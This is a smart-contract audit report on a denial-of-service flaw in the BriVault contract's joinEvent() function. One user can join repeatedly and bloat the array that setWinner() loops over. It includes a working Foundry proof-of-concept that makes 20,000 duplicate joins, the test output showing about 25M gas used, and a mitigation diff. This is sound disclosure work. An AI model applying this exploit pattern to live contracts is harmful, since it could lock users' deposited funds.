Root + Impact
Description
-
Normal Behavior: Users should only be able to call joinEvent() once per tournament to select their team. The function should prevent duplicate entries to maintain accurate participant counts and enable efficient winner calculations.
-
Vulnerability: The joinEvent() function lacks a check to prevent multiple calls by the same user. Each call pushes msg.sender to the usersAddress array, increments numberOfParticipants, and adds to totalParticipantShares, regardless of whether the user has already joined.
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
@> usersAddress.push(msg.sender);
@> numberOfParticipants++;
@> totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
This enables a Denial of Service (DOS) attack where an attacker calls joinEvent() thousands of times, causing _getWinnerShares() to iterate through an unbounded array when setWinner() is called, consuming excessive gas and potentially exceeding block limits.
Risk
Likelihood:
Impact:
Impact 1: Complete protocol failure - when the owner calls setWinner(), the function must iterate through the entire usersAddress array in _getWinnerShares(). With 20,000+ entries, this consumes 25M+ gas, approaching Ethereum's block gas limit (~30M). This makes setWinner() extremely risky or impossible to execute, permanently locking all user funds in the vault.
Proof of Concept
you can copy and paste the below code onto the existing test suite.
function test_denialOfServiceAttack() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
address attacker = makeAddr("attacker");
mockToken.mint(attacker, 1000 ether);
vm.startPrank(attacker);
mockToken.approve(address(briVault), type(uint256).max);
uint256 attackerShares = briVault.deposit(1000 ether, attacker);
uint256 expectedShares = 985 ether;
console.log("The total shares the attacker has: ", attackerShares / 1e18, "ether");
assertEq(attackerShares, expectedShares, "attacker should get 985 after fees are taken away");
for (uint256 i = 0; i < 20000; i++) {
briVault.joinEvent(i % 48);
}
vm.stopPrank();
uint256 finalLength = briVault._getUserAddressesLength();
console.log("Array length after 20000 same addresses joins the event: BUG", finalLength);
assertEq(finalLength, 20000, "Array should contain 20000 same addresses entries.");
uint256 count = 0;
for ( uint256 i = 0; i < finalLength; i++) {
if (briVault.usersAddress(i) == attacker) {
count++;
}
}
console.log("The attacker appears in the userAddress array for :", count, "Amount of times.");
assertEq(count, 20000, "Same attacker should appear a 20000 times");
vm.warp(briVault.eventEndDate() + 1);
vm.startPrank(owner);
uint256 gasBefore = gasleft();
briVault.setWinner(10);
uint256 gasUsed = gasBefore - gasleft();
console.log("Gas used for setWinner():", gasUsed);
assertTrue(gasUsed > 10_000_000, "Unbounded loop causes excessive gas");
vm.stopPrank();
}
The output given:
Compiler run successful!
Ran 1 test for test/briVault.t.sol:BriVaultTest
[PASS] test_denialOfServiceAttackss() (gas: 637621768)
Logs:
The total shares the attacker has: 985 ether
Array length after 20000 same addresses joins the event: BUG 20000
The attacker appears in the userAddress array for : 20000 Amount of times.
Gas used for setWinner(): 25299445
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 623.50ms (622.14ms CPU time)
Recommended Mitigation
Add a duplicate check in joinEvent() to prevent users from joining multiple times:
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
+ // Prevent duplicate joins
+ if (bytes(userToCountry[msg.sender]).length > 0) {
+ revert("Already joined event");
+ }
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
Alternative: Replace the usersAddress array with a mapping-based approach to avoid unbounded iteration entirely.